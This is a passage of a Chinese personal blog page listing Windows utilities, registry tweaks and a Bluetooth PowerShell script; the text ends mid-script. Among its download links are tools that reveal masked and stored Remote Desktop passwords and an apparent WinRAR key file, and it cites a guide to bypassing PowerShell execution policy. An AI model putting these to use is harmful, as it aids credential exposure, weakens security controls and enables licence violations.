href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          WindowsSoftware\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        WindowsSoftware\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#emeditor\" class=\"md-nav__link\">\n    Emeditor\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#everything\" class=\"md-nav__link\">\n    Everything\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sysinternals-utilities\" class=\"md-nav__link\">\n    Sysinternals Utilities\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cloc\" class=\"md-nav__link\">\n    CLOC代码统计利器\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#menumgr\" class=\"md-nav__link\">\n    MenuMgr 右键菜单管理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    文件夹背景右键添加bash\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#u\" class=\"md-nav__link\">\n    软媒U盘启动盘制作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winrar\" class=\"md-nav__link\">\n    WinRAR\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#burpsuite\" class=\"md-nav__link\">\n    BurpSuite\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bencode-editor\" class=\"md-nav__link\">\n    BEncode Editor\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#win10-windows\" class=\"md-nav__link\">\n    Win10 Windows照片查看器\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    星号密码查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    远程连接密码查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gho\" class=\"md-nav__link\">\n    GHO文件查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    文件哈希计算\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tcping\" class=\"md-nav__link\">\n    tcping 检测端口是否开放\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx-1118\" class=\"md-nav__link\">\n    Nginx 1.11.8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash-on-win10\" class=\"md-nav__link\">\n    Bash On Win10\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Bash On Win10\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#mount\" class=\"md-nav__link\">\n    mount挂载其他分区\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmware-vcenter-converter\" class=\"md-nav__link\">\n    VMware vCenter Converter\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#powershell\" class=\"md-nav__link\">\n    命令行开关蓝牙 powershell\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash_1\" class=\"md-nav__link\">\n    文件夹背景右键直接显示bash\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshfs\" class=\"md-nav__link\">\n    sshfs挂载远程目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows\" class=\"md-nav__link\">\n    命令行windows时间同步\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows_1\" class=\"md-nav__link\">\n    Windows激活\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bitlocker\" class=\"md-nav__link\">\n    查看BitLocker加密进度\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    找回消失的窗口\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#emeditor\" class=\"md-nav__link\">\n    Emeditor\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#everything\" class=\"md-nav__link\">\n    Everything\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sysinternals-utilities\" class=\"md-nav__link\">\n    Sysinternals Utilities\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cloc\" class=\"md-nav__link\">\n    CLOC代码统计利器\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#menumgr\" class=\"md-nav__link\">\n    MenuMgr 右键菜单管理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    文件夹背景右键添加bash\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#u\" class=\"md-nav__link\">\n    软媒U盘启动盘制作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winrar\" class=\"md-nav__link\">\n    WinRAR\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#burpsuite\" class=\"md-nav__link\">\n    BurpSuite\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bencode-editor\" class=\"md-nav__link\">\n    BEncode Editor\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#win10-windows\" class=\"md-nav__link\">\n    Win10 Windows照片查看器\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    星号密码查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    远程连接密码查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gho\" class=\"md-nav__link\">\n    GHO文件查看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    文件哈希计算\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tcping\" class=\"md-nav__link\">\n    tcping 检测端口是否开放\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx-1118\" class=\"md-nav__link\">\n    Nginx 1.11.8\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash-on-win10\" class=\"md-nav__link\">\n    Bash On Win10\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Bash On Win10\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#mount\" class=\"md-nav__link\">\n    mount挂载其他分区\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vmware-vcenter-converter\" class=\"md-nav__link\">\n    VMware vCenter Converter\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#powershell\" class=\"md-nav__link\">\n    命令行开关蓝牙 powershell\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash_1\" class=\"md-nav__link\">\n    文件夹背景右键直接显示bash\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshfs\" class=\"md-nav__link\">\n    sshfs挂载远程目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows\" class=\"md-nav__link\">\n    命令行windows时间同步\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows_1\" class=\"md-nav__link\">\n    Windows激活\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bitlocker\" class=\"md-nav__link\">\n    查看BitLocker加密进度\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    找回消失的窗口\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"windows-software\">Windows Software<a class=\"headerlink\" href=\"#windows-software\" title=\"Permanent link\">&para;</a></h1>\n<p>自己日常用到的一些工具咯</p>\n<hr />\n<h2 id=\"emeditor\">Emeditor<a class=\"headerlink\" href=\"#emeditor\" title=\"Permanent link\">&para;</a></h2>\n<p>https://www.emeditor.com/</p>\n<p>下载：http://files.emeditor.com/emed64_16.3.1.exe</p>\n<p>打开超大文件，语法高亮，批处理替换等好用的功能</p>\n<h2 id=\"everything\">Everything<a class=\"headerlink\" href=\"#everything\" title=\"Permanent link\">&para;</a></h2>\n<p>https://www.voidtools.com/</p>\n<p>下载：https://www.voidtools.com/Everything-1.4.1.809b.x64.zip</p>\n<p>快速全盘搜索，不知道比windows自带的搜索快到哪里去了</p>\n<h2 id=\"sysinternals-utilities\"><strong>Sysinternals Utilities</strong><a class=\"headerlink\" href=\"#sysinternals-utilities\" title=\"Permanent link\">&para;</a></h2>\n<p>https://technet.microsoft.com/en-us/sysinternals/bb545027</p>\n<p><a href=\"https://d.py3.io/procexp.exe\">任务管理器</a> https://download.sysinternals.com/files/ProcessExplorer.zip</p>\n<h2 id=\"cloc\">CLOC代码统计利器<a class=\"headerlink\" href=\"#cloc\" title=\"Permanent link\">&para;</a></h2>\n<p>下载：https://github.com/AlDanial/cloc/releases/download/v1.70/cloc-1.70.exe</p>\n<p>Cloc是一款使用Perl语言开发的开源代码统计工具，支持多平台使用、多语言识别，能够计算指定目标文件或文件夹中的文件数(files)、空白行数(blank)、注释行数(comment)和代码行数(code)。</p>\n<h2 id=\"menumgr\">MenuMgr 右键菜单管理<a class=\"headerlink\" href=\"#menumgr\" title=\"Permanent link\">&para;</a></h2>\n<p>还右键菜单一份清净</p>\n<p><a href=\"https://d.py3.io/MenuMgr.exe\">MenuMgr</a></p>\n<h2 id=\"bash\">文件夹背景右键添加bash<a class=\"headerlink\" href=\"#bash\" title=\"Permanent link\">&para;</a></h2>\n<p>发现自己经常需要在当前路径下打开bash，之前我都是在地址栏输入bash回车 但这样的副作用是不能再方便地复制当前路径了</p>\n<p>现在我将bash添加到右键菜单 只需鼠标点击两次即可打开bash</p>\n<p>regedit定位到</p>\n<div class=\"codehilite\"><pre><span></span><code>计算机\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Directory\\background\\shell\\\n</code></pre></div>\n\n<p>新建项bash 再在bash中新建项command 修改command的默认为<code>bash</code></p>\n<p>顺带可以把在此处打开命令窗口给显示出来：同一个文件夹里面有个cmd 但还有一些其他项 删掉即可</p>\n<p>如果修改注册表没有权限，右键改权限 先改所有者再对everyone允许完全控制即可</p>\n<h2 id=\"u\">软媒U盘启动盘制作<a class=\"headerlink\" href=\"#u\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://d.py3.io/usbbooter.exe\">usbbooter.exe</a></p>\n<h2 id=\"winrar\">WinRAR<a class=\"headerlink\" href=\"#winrar\" title=\"Permanent link\">&para;</a></h2>\n<p>压缩解压缩，我只用WinRAR和7zip</p>\n<p><a href=\"https://d.py3.io/winrar.exe\">winrar.exe</a></p>\n<p><a href=\"https://d.py3.io/winrar32bit.exe\">winrar32bit.exe</a></p>\n<p><a href=\"https://d.py3.io/rarreg.key\">rarreg.key</a></p>\n<h2 id=\"burpsuite\">BurpSuite<a class=\"headerlink\" href=\"#burpsuite\" title=\"Permanent link\">&para;</a></h2>\n<p>发现app的漏洞啥的，还是挺有用的~</p>\n<p><a href=\"https://d.py3.io/burpsuite v1.7.11.zip\">burpsuite v1.7.11.zip</a></p>\n<p>使用方法：安装Java，启动后设置监听在所有网卡，导出证书CA.crt发送到手机，手机导入证书，手机忘记Wifi后连接wifi时设置代理，手机启动APP，查看流量咯~</p>\n<h2 id=\"bencode-editor\">BEncode Editor<a class=\"headerlink\" href=\"#bencode-editor\" title=\"Permanent link\">&para;</a></h2>\n<p>创建/编辑种子信息，做一个勤奋的搬运工&hellip;</p>\n<p><a href=\"https://d.py3.io/BEncode%20Editor.exe\">BEncode Editor.exe</a></p>\n<h2 id=\"win10-windows\">Win10 Windows照片查看器<a class=\"headerlink\" href=\"#win10-windows\" title=\"Permanent link\">&para;</a></h2>\n<p>From: http://www.xitongcheng.com/jiaocheng/win10_article_12240.html</p>\n<p>Win+R打开regedit，找到HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Photo Viewer\\Capabilities\\FileAssociations</p>\n<p>右键，新建字符串值，命名为.jpg，值为PhotoViewer.FileAssoc.Tiff</p>\n<p>我的情况是原先有.tif和.tiff的，还需要新建这些后缀名.jpeg .bmp .png .gif</p>\n<p>创建后再看打开方式就有了Windows照片查看器</p>\n<h2 id=\"_1\">星号密码查看<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>一般是用不着 <a href=\"https://d.py3.io/AsteriskPassword.exe\">AsteriskPassword.exe</a></p>\n<h2 id=\"_2\">远程连接密码查看<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://d.py3.io/mstscpass.exe\">mstscpass.exe</a></p>\n<h2 id=\"gho\">GHO文件查看<a class=\"headerlink\" href=\"#gho\" title=\"Permanent link\">&para;</a></h2>\n<p>也是很久没用了啊 <a href=\"https://d.py3.io/Ghostexp.exe\">Ghostexp.exe</a></p>\n<h2 id=\"_3\">文件哈希计算<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>Linux下直接用md5sum sha1sum就够了</p>\n<p><a href=\"https://d.py3.io/Hash.exe\">Hash.exe</a></p>\n<h2 id=\"tcping\">tcping 检测端口是否开放<a class=\"headerlink\" href=\"#tcping\" title=\"Permanent link\">&para;</a></h2>\n<p>一直ping的用法: <code>tcping -t py3.io 443</code></p>\n<p><a href=\"https://d.py3.io/tcping.exe\">tcping.exe</a></p>\n<h2 id=\"nginx-1118\">Nginx 1.11.8<a class=\"headerlink\" href=\"#nginx-1118\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://d.py3.io/nginx.zip\">nginx.zip</a></p>\n<hr />\n<h2 id=\"bash-on-win10\">Bash On Win10<a class=\"headerlink\" href=\"#bash-on-win10\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"mount\">mount挂载其他分区<a class=\"headerlink\" href=\"#mount\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>mount -t drvfs D: /mnt/d\n</code></pre></div>\n\n<hr />\n<h2 id=\"vmware-vcenter-converter\">VMware vCenter Converter<a class=\"headerlink\" href=\"#vmware-vcenter-converter\" title=\"Permanent link\">&para;</a></h2>\n<p>无需关机，无需移动硬盘将物理机转为虚拟机镜像</p>\n<p>基于Windows的卷影复制功能</p>\n<p>http://www.softpedia.com/get/System/System-Miscellaneous/VMware-Converter.shtml</p>\n<hr />\n<h2 id=\"powershell\">命令行开关蓝牙 powershell<a class=\"headerlink\" href=\"#powershell\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/https://superuser.com/questions/1168551/turn-on-off-bluetooth-radio-adapter-from-cmd-powershell-in-windows-10</p>\n<p>绕过powershell执行安全策略参考： https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/</p>\n<p>将这个保存为b.ps1</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">[</span><span class=\"n\">CmdletBinding()</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"n\">Param</span><span class=\"w\"> </span><span class=\"p\">(</span>\n<span class=\"w\">    </span><span class=\"o\">[</span><span class=\"n\">Parameter(Mandatory=$true)</span><span class=\"o\">][</span><span class=\"n\">ValidateSet(&#39;Off&#39;, &#39;On&#39;)</span><span class=\"o\">][</span><span class=\"n\">string</span><span class=\"o\">]</span><span class=\"err\">$</span><span class=\"n\">BluetoothStatus</span>\n<span class=\"p\">)</span>\n<span class=\"k\">If</span><span class=\"w\"> </span><span class=\"p\">((</span><span class=\"k\">Get</span><span class=\"o\">-</span><span class=\"n\">Service</span><span class=\"w\"> </span><span class=\"n\">bthserv</span><span class=\"p\">).</span><span class=\"n\">Status</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">eq</span><span class=\"w\"> </span><span class=\"s1\">&#39;Stopped&#39;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span><span class=\"w\"> </span><span class=\"k\">Start</span><span class=\"o\">-</span><span class=\"n\">Service</span><span class=\"w\"> </span><span class=\"n\">bthserv</span><span class=\"w\"> </span><span class=\"err\">}</span>\n<span class=\"k\">Add</span><span class=\"o\">-</span><span class=\"n\">Type</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">AssemblyName</span><span class=\"w\"> </span><span class=\"k\">System</span><span class=\"p\">.</span><span class=\"n\">Runtime</span><span class=\"p\">.</span><span class=\"n\">WindowsRuntime</span>\n<span class=\"err\">$</span><span class=\"n\">asTaskGeneric</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">System.WindowsRuntimeSystemExtensions</span><span class=\"o\">]</span><span class=\"p\">.</span><span class=\"n\">GetMethods</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"vm\">?</span><span class=\"w\"> </span><span class=\"err\">{</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">_</span><span class=\"p\">.</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">eq</span><span class=\"w\"> </span><span class=\"s1\">&#39;AsTask&#39;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"ow\">and</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">_</span><span class=\"p\">.</span><span class=\"n\">GetParameters</span><span class=\"p\">().</span><span class=\"nf\">Count</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">eq</span><span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"ow\">and</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">_</span><span class=\"p\">.</span><span class=\"n\">GetParameters</span><span class=\"p\">()</span><span class=\"o\">[</span><span class=\"n\">0</span><span class=\"o\">]</span><span class=\"p\">.</span><span class=\"n\">ParameterType</span><span class=\"p\">.</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">eq</span><span class=\"w\"> </span><span class=\"s1\">&#39;IAsyncOperation`1&#39;</span><span class=\"w\"> </span><span class=\"err\">}</span><span class=\"p\">)</span><span class=\"o\">[</span><span class=\"n\">0</span><span class=\"o\">]</span>\n<span class=\"k\">Function</span><span class=\"w\"> </span><span class=\"n\">Await</span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"n\">WinRtTask</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">ResultType</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"err\">$</span><span class=\"n\">asTask</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">asTaskGeneric</span><span class=\"p\">.</span><span class=\"n\">MakeGenericMethod</span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"n\">ResultType</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"err\">$</span><span class=\"n\">netTask</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">asTask</span><span class=\"p\">.</span><span class=\"n\">Invoke</span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"k\">null</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"err\">@</span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"n\">WinRtTask</span><span class=\"p\">))</span>\n<span class=\"w\">    </span><span class=\"err\">$</span><span class=\"n\">netTask</span><span class=\"p\">.</span><span class=\"n\">Wait</span><span class=\"p\">(</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n<span class=\"w\">    </span><span class=\"err\">$</span><span class=\"n\">netTask</span><span class=\"p\">.</span><span class=\"k\">Result</span>\n<span class=\"err\">}</span>\n<span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.Radio,Windows.System.Devices,ContentType=WindowsRuntime</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n<span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.RadioAccessStatus,Windows.System.Devices,ContentType=WindowsRuntime</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n<span class=\"n\">Await</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.Radio</span><span class=\"o\">]::</span><span class=\"n\">RequestAccessAsync</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.RadioAccessStatus</span><span class=\"o\">]</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n<span class=\"err\">$</span><span class=\"n\">radios</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Await</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.Radio</span><span class=\"o\">]::</span><span class=\"n\">GetRadiosAsync</span><span class=\"p\">())</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">System.Collections.Generic.IReadOnlyList[Windows.Devices.Radios.Radio</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"p\">)</span>\n<span class=\"err\">$</span><span class=\"n\">bluetooth</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">radios</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"vm\">?</span><span class=\"w\"> </span><span class=\"err\">{</span><span class=\"w\"> </span><span 